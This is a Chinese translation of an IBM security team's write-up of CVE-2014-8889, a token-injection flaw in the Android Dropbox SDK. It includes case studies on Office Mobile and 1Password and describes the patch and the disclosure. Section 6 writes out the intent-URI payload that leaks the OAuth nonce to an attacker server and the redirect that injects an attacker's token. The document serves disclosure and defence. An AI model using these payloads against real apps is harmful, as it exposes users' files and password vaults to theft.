0x00 前言


本文是对IBM ISS安全团队对DropBox SDK漏洞详细分析的翻译。

原文见http://www.slideshare.net/ibmsecurity/remote-exploitation-of-the-dropbox-sdk-for-android

如今个人数据存储在云端,这使得像照片备份或通用存储那样的服务不仅可以被用户访问,也能被代表用户的app所访问。在许多方面,包括访问控制功能的app与服务之间的互操作总是具有挑战性的,为了解决访问控制来来的挑战,OAuth1和2等授权协议陆续被提出,它们可以安全地授予app访问特定服务中个人数据的权限,而又不泄露用户的个人凭据。为便于开发,这些服务通常为app提供一个框架或SDK,使app能够和服务进行通信。对于app开发者而言,SDK是具有吸引力的,因为其对内部细节进行了抽象,给开发者提供了简单的客户端API。从安全的角度来看,SDK则提供了极具吸引力的攻击面,因为其一旦出现可供利用的漏洞,可以影响大量使用该SDK的app。

本文介绍了Android Dropbox SDK 1.5.4-1.6.1版本中存在的一个严重漏洞(CVE-2014-8889),该漏洞使基于Dropbox SDK的app暴露于严重的本地和远程攻击。作为概念证明(POC),我们开发了针对包括Microsoft Office Mobile和1Password等流行app的远程攻击程序。我们负责任地将该漏洞报告给了Dropbox,Dropbox也及时提供了一个修复的SDK(1.6.2版)。在此,强烈建议开发者下载SDK并更新其app。

0x01 背景


Dropbox SDK是一个供开发者下载并用于其产品的库,它通过一组简单的API,提供了轻松使用Dropbox服务,如下载或上传文件等功能。

AppBrain的统计数据表明了在Android中使用Dropbox SDK的流行程度[1 ],在全部应用中,有0.31%使用了Dropbox SDK。而在Google Play前500的应用中,1.41%使用了Dropbox SDK。有趣的是,按照安装量统计,分别有总量的1.32%和前500应用安装量的3.93%使用了Dropbox SDK。

尽管Dropbox SDK不是一个高度流行的基础软件库,某些非常流行的Android app仍然使用Dropbox SDK持有敏感数据,包括拥有10,000,000下载量的[Microsoft Office Mobile](https:// https://play.google.com/store/apps/details?id=com.microsoft.office.officehub),以及拥有100,000下载量的AgileBits 1Password

我们发现的这一漏洞影响使用Dropbox SDK 1.5.4-1.6.1版的所有Android app。我们分析了使用Android Dropbox SDK的41个app(它们使用了1.5.4-1.6.1版),其中有31个app(76%)能够被攻击成功)。需要注明的是,其余app仍然具有漏洞,可以被造成同样后果的更加简单的攻击所利用,只不过这些app没有升级到修复漏洞的1.5.4版1

本文结构如下,第二章介绍了Android中跨应用通信(IAC)的背景,第三章介绍了IAC如何被恶意代码本地利用和远程drive-by攻击利用的技术,第四章描述了Dropbox SDK如何使用OAuth为Android app提供授权,第五章深入分析我们所发现的Android Dropbox SDK用于OAuth代码中的漏洞,第六章描述了我们称之为DROPPEDIN的利用该漏洞的真实攻击,第七章我们提供了反映真实威胁的案例,最后在第八章中我们提供了该漏洞的修复建议。

0x02 Android中的跨应用通信(IAC)


Android应用在沙箱环境中执行,沙箱确保应用数据的机密性和完整性,如果没有配置适当的权限,某一应用无法访问其他应用中的敏感信息。例如,Android Stock浏览器中的敏感信息,如cookie、缓存和历史记录,不会被第三方的app所访问。沙箱机制依赖于多种技术,包括基于应用的Linux user-id分配,因此在默认情况下,某一应用的资源(如文件),不会被其他应用所访问。尽管沙箱机制有利于安全,对于有时在app之间需要通信的场合,也牺牲了部分互操作性。回到前述Stock浏览器的例子,当用户使用浏览器访问到Google Play网址时,可能需要打开Google Play app,为了支持这种类型的互操作,Android提供了一种高层的跨应用通信(IAC)机制,通常使用了封装有关载荷和目标应用组件的信息、被称之为Intent的特殊消息。Intent可以是显式指定,此时必须明确指定目标应用组件,也可以隐式指定,此时目标应用无需明确指定,而由Android系统根据Intent参数中的URI scheme、action或category决定。

0x03 利用跨应用通信的攻击


如果攻击者可以控制Intent载荷,直接启动应用组件,那么攻击面将被拓宽,特别对于处于导出(exported)状态的应用组件。这些导出的一个用组件易于遭受恶意应用的本地攻击。负责UI屏幕的Android组件Activity也可以遭受远程的drive-by攻击技术,见[2,3]。

在本地攻击中,如图3.1所示,恶意应用通过恶意Intent(即包含恶意数据)启动导出的目标应用,这只需要简单的调用API,如Context.startActivity(intent)

image

图3.1 恶意应用的本地攻击

而在图3.2所示的远程drive-by攻击中,用户被欺骗浏览恶意网址,恶意网址的网页使浏览器发送恶意Intent,启动目标activity。2

image

图3.2 远程Drive-by攻击

0x04 OAuth与Dropbox


为了授权app使用一个指定的Dropbox账号,Dropbox SDK使用了OAuth协议,这个过程始于app在Dropbox网站的带外注册,接着app就可以从Dropbox收到app key和app secret,并将其硬编码于代码中。

然后app将在Android Manifest文件中导出Dropbox使用的AuthActivity,如下所示。

#!html
<activity android:name="com.dropbox.client2.android.AuthActivity" ...> 
    <intent-filter>
        <data android:scheme="db-<APP_KEY >" />
        <action android:name="android.intent.action.VIEW" /> 
        <category android:name="android.intent.category.BROWSABLE" /> 
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter> 
</activity>

图4.1描述了Dropbox OAuth协议各方及通信过程,这一过程首先开始于app携带必须的数据(即app key和app secret)调用Dropbox SDK AndroidAuthSession中的静态方法start{OAuth2}Authentication,该方法使用一个Intent启动AuthActivity,接着AuthActivity产生一个nonce随机数,并再次通过一个Intent启动浏览器或者Dropbox app(如果已安装),对用户进行认证和对app进行授权。这一过程将使用到前面产生的nonce。浏览器或者Dropbox app将利用指向app唯一URI scheme(db-)的隐式Intent,返回携带附加数据(如uid)的access token、secret和nonce。这将导致AuthAcitivity的OnNewIntent方法被调用,该方法会检查输入的nonce是否与输出的nonce一致。如果一致,它将接受token,并存储于其result静态变量中。token将在Dropbox会话中保存,用于接下来的Dropbox SDK调用。

image 图4.1 Dropbox OAuth认证

该过程存在两个主要的威胁。首先,返回的OAuth access token可能被窃取,这将允许攻击者访问授权的Dropbox资源。恶意应用通过注册类似的Intent filter,就可以假冒app实施这种攻击。然而由于Dropbox SDK可以检查是否有别的应用注册相同的Intent filter,因此这种威胁带来的风险就已经缓解了。其次,攻击者可以注入自己的access token,这将导致app连接到攻击者的账户,从而在非授权的情况下上传敏感数据给攻击者,或者下载数据以进一步实施其他的攻击。由于nonce 参数的存在(在1.5.4版中引入),这种威胁带来的风险也已经缓解。然而,具体实现仍然存在一个漏洞,攻击者可以主动地令Dropbox SDK泄露nonce参数到攻击者控制的服务器,我们将在下一章中予以叙述。

0x05 漏洞分析


我们发现的一个漏洞,被标识为CVE-2014-8889,使攻击者可以在Dropbox SDK的AuthActivity中注入一个任意的access token,完全绕过nonce的保护。

AuthAcitivity接受几种不同的Intent extra参数,作为一个exported和browasable的activity(如第四章所述,必须),它可以被携带任意Intent extra参数(见第三章)的本地恶意应用和远程恶意网站所启动,因此在使用这些Intent extra参数时必须格外小心。

然而,一个名为INTERNAL_WEB_HOST的Intent extra参数却可以被攻击者所控制,从而带来破坏性的影响。当浏览器用于认证用户和授权app使用时(Dropbox app未安装的情况),这个参数最终控制了用户浏览器访问的地址,如附录A,startWebAuth方法被AuthActivity的OnResume回调方法(在Intent启动Activity后调用)所调用。因此,如果攻击者可以针对该activity生成一个Intent,并将其INTERNAL_WEB_HOST extra指向自己控制的服务器,那么在认证过程中的nonce将发送给攻击者的服务器!

0x06 DROPPEDIN 攻击


对本地和远程(drive-by)攻击,我们都予以了实现。这两种攻击都要求被攻击设备不能安装Dropbox app,并要求攻击者预先以一种带外的方式获得access token(ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET),以及与其账户和被攻击app相关的uid。这一步很容易,因为攻击者可以简单地下载被攻击app到自己的设备上,授权自己的Dropbox账号使用,并记录返回的access token对。如图6.1,远程攻击分四个步骤,本地攻击也与此类似,但要求被攻击设备上安装恶意应用。

image 图6.1 Droppedin 攻击

6.1 自然的网页浏览


受害者访问了攻击者完全控制的恶意网站,或者被攻击者利用漏洞(如XSS)植入恶意代码的网站。

6.2 主动的Nonce泄露


恶意代码携带特别的Intent参数,使用户的浏览器启动被攻击的app,并使随后的OAuth过程与攻击者所控制的服务器间进行,而不是正常的https://www.dropbox.com。这一步骤使攻击者获得nonce。通过简单的HTTP重定向到以下代码就可以实现: Intent:#Intent;scheme=db-<APP_KEY>; S.EXTRA_INTERNAL_WEB_HOST=; S.EXTRA_INTERNAL_APP_KEY=foo; S.EXTRA_INTERNAL_APP_SECRET=bar; end

截至本文写作时,大多数的流行浏览器都支持上述这种Intent URI scheme机制的隐式Intent。

6.3 Auth Access Token注入


上述Intent将最终使浏览器访问https://attacker:443/1/connect(并在GET参数中携带nonce),这要求攻击者拥有自己的SSL证书,但这也很容易。获取nonce后,攻击者就可以通过另一个HTTP重定向到以下代码,注入自己预先产生的access token到app中。

db-<APP_KEY>://1/connect?oauth_token_secret=<ACCESS_TOKEN_SECRET>
            &oauth_token=<ACCESS_TOKEN_KEY>
            &uid=<UID>
            &state=<NONCE>

如果access token被成功注入,将保存在AuthActivity.result中。

6.4 App使用OAuth Access Token


至此,AuthActivity的静态成员变量result就包含了攻击者的token。其余就是被攻击app如何使用这些数据了,这取决于开发者。

不排除有别的情况存在,但总体而言,客户端(app)代码将在其中一个Activity的onCreate方法或者在用户点击某些按钮时发起认证过程。接下来就是检查认证是否成功,并在其onResume方法中将token用于Dropbox会话。

攻击得以成功关键的一点在于,onCreate和onResume方法依次调用(见[4,6])。这表明,攻击者一旦在app的activity呈现之前注入他的access token,这个access token就会在用户输入自己的凭据之前使用,见第7章的具体案例分析。

0x07 案例研究


7.1 Mircrosoft Office Mobile:注入并添加新的连接3


Microsoft Office Mobile app允许用户将自己的文档上传至云中,且支持多个Dropbox账户。

在该案例中,正常情况下下列步骤将按如下顺序执行:

1.用户添加Dropbox账号,这将启动负责Dropbox认证的activity。 2.activity的onCreate方法调用SDK AndroidAuthSession中的startOAuth2Authentication方法。 3.接着调用acitivity的onResume方法,通过AndroidAuthSession的authenticationSuccessful方法检查认证是否成功,后者返回一个负值。 4.用户通过浏览器登录Dropbox认证,并授权app使用自己的账户。 5.activity的onResume方法再次调用,此时authenticationSuccessful将返回正值。token将从AuthActivity拷贝到session对象,供app使用。通过调用Activity.finish方法销毁activity. 6.账户被添加到app中。

该过程可遭受如下的攻击。在第一步之前,攻击者通过漏洞注入自己的token。用户接着添加一个新的Dropbox账号,正常情况下他将被引到Dropbox的官网,然而第三步在可以在未经用户同意的情况下在后台发生,authentication方法将调用成功,攻击者的token被拷贝到session对象,然后activity被销毁,甚至都第五步都不会进行。因此,即使用户输入的是自己的认证凭据,却使用了攻击者的token,使攻击无缝发生。

7.2 1Password: 在初次连接之前注入


1Password app属于口令管理app(如KeyPass),使用Dropbox SDK将用户的vault(密钥库)同步至Dropbox。该app支持使用一个Dropbox账号将本地的密钥库同步至Dropbox。将密钥库上传给攻击者的账号将带来灾难性的影响——攻击者可以进行离线破解,如果使用弱的主保护口令(这仍然是一个常见问题 [5,7]),攻击者可以在可行的时间内破解成功。此外,为了获得主保护口令,攻击者还可以实施钓鱼攻击。

与7.1节类似,当用户决定同步时如下步骤按序发生:

1.用户点击“同步到Dropbox”按钮,启动负责Dropbox认证的activity。 2.activity的onCreate方法通过AndroidAuthSession.isLinked()方法检查自己是否被连接。如果没有,则调用AndroidAuthSession的startAuthentication方法。

3.接着调用activity的onResume方法,并再次调用AndroidAuthSession.isLinked()。如果返回false,则通过AnroidAuthSession.authenticationSucessful()方法检查认证是否成功,后者将返回一个负值。

4.用户通过浏览器登录Dropbox认证,并授权app使用自己的账户。

5.activity的onResume方法被调用,AndroidAuthSession.isLinked()再次返回false。然而,此时authenticationSuccessful()方法将返回一个正值。app接着调用finishAuthentication将token拷贝到session对象(这将导致isLinked方法返回true),于是app使用该token。

6.同步过程开始。

该过程可遭受如下的攻击。在第一步之前,攻击者可以利用漏洞注入自己的token。用户接着同步自己的账户,正常情况下他将被引到Dropbox的官网,然而第三步在可以在未经用户同意的情况下在后台发生,authentication方法将调用成功,攻击者的token被拷贝到session对象,导致第五步的isLinked方法返回true。因此,即使用户输入的是自己的认证凭据,却使用了攻击者的token,使攻击无缝发生。

7.3 DBRoulette: 注入并再次连接


DBRoulette app与Dropbox SDK打包在一起,作为一个示例应用。它是一个具有基本功能的app,对用户进行认证,并从用户的Dropbox照片文件夹中随机加载一张照片。在主activity DBRoulette中,onResume方法只是简单的覆盖预先存储的认证凭据,这意味着即使Dropbox账号已经连接到DBRoulette,攻击者的账号仍然可以使用。此外,DBRoulette调用Dropbox SDK认证方法的代码位于一个导出的activity中,攻击者可以启动该activity,从而实施完全自动化的攻击。图7.1描述了一次成功的攻击,攻击者账号中的本文作者手指照片,而非受害用户自己的照片,出现在DBRoulette中。

image 图7.1 被攻击的DBRoulette

0x08 修复


Android Dropbox SDK 1.6.2版已经发布,包含了对该漏洞的修补。Dropbox SDK的AuthActivity方法也不再接受输入Intent的extra参数,这就使攻击者无法通过可控的Dropbox SDK通信的服务器地址来获得nonce。强烈建议开发者将其使用的Dropbox SDK更新到最新版本。为了避免没有更新SDK的app被该漏洞利用,终端用户可以安装Dropbox app使攻击失效。

0x09 披露时间


2014.12.1 - 漏洞报告给厂商。
2014.12.1 - 厂商确认,开始编写补丁。
2014.12.5 - 补丁可用(Android Dropbox SDK 1.6.2版)
2015.3.11 - 公开披露。

0x10 致谢


Dropbox对安全威胁的响应令人印象深刻,我们向Dropbox报告了该问题,仅仅在6分钟后就得到了回应,24小时之内漏洞得到了确认,4天后补丁可用。我们感谢Dropbox团队,这是我们所见到过的最快补丁,无疑他们对于用户的安全是负责任的。

参考文献


1.AppBrain. Dropbox API – Android library statistics. http://www.appbrain.com/stats/libraries/ details/dropbox_api/dropbox-api.

2.Takeshi Terada. Attacking Android browsers via intent scheme URLs. 2014. http://www.mbsd.jp/ Whitepaper/IntentScheme.pdf.

3.Roee Hay & David Kaplan. Remote exploitation of the cordova framework. 2014. http://www. slideshare.net/ibmsecurity/remote-exploitation-of-the-cordova-framework.

4.Android. Activity. http://developer.android.com/reference/android/app/Activity.html.

5.Trustwave. 2014 business password analysis, 2014. https://gsr.trustwave.com/topics/ business-password-analysis/2014-business-password-analysis/.

附录A:具有漏洞的Dropbox SDK 代码


code:

protected void onCreate(Bundle savedInstanceState) { ... Intent intent = getIntent(); ... webHost = intent.getStringExtra(EXTRA\_INTERNAL\_WEB\_HOST); if (null == webHost) { webHost = DEFAULT\_WEB_HOST; } ... }

    protected void onResume() {
        ...
        String state = createStateNonce();
        ...
        if (hasDropboxApp(officialIntent)) {
            startActivity(officialIntent);
        }
        else {
            startWebAuth(state);
        }
        ...
            authStateNonce = state;
    }

    private void startWebAuth(String state)
    {
        String path = "/connect";
        Locale locale = Locale.getDefault();
        String[] params = {
        "locale", locale.getLanguage()+"_"+locale.getCountry(),
        "k", appKey,
        "s", getConsumerSig(),
        "api", apiType,
        "state", state};
        String url = RESTUtility.buildURL(webHost, DropboxAPI.VERSION, path, params);
        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        startActivity(intent);
    } 

  1. 从上下文来看,这一漏洞不是指本文分析的CVE-2014-8889 

  2. 这种攻击技术参见Intent scheme URL attack 

  3. 从文中内容看,作者使用Link(连接)这一术语说明app与某一Dropbox账号建立关系,即app使用该账号访问Dropbox的服务。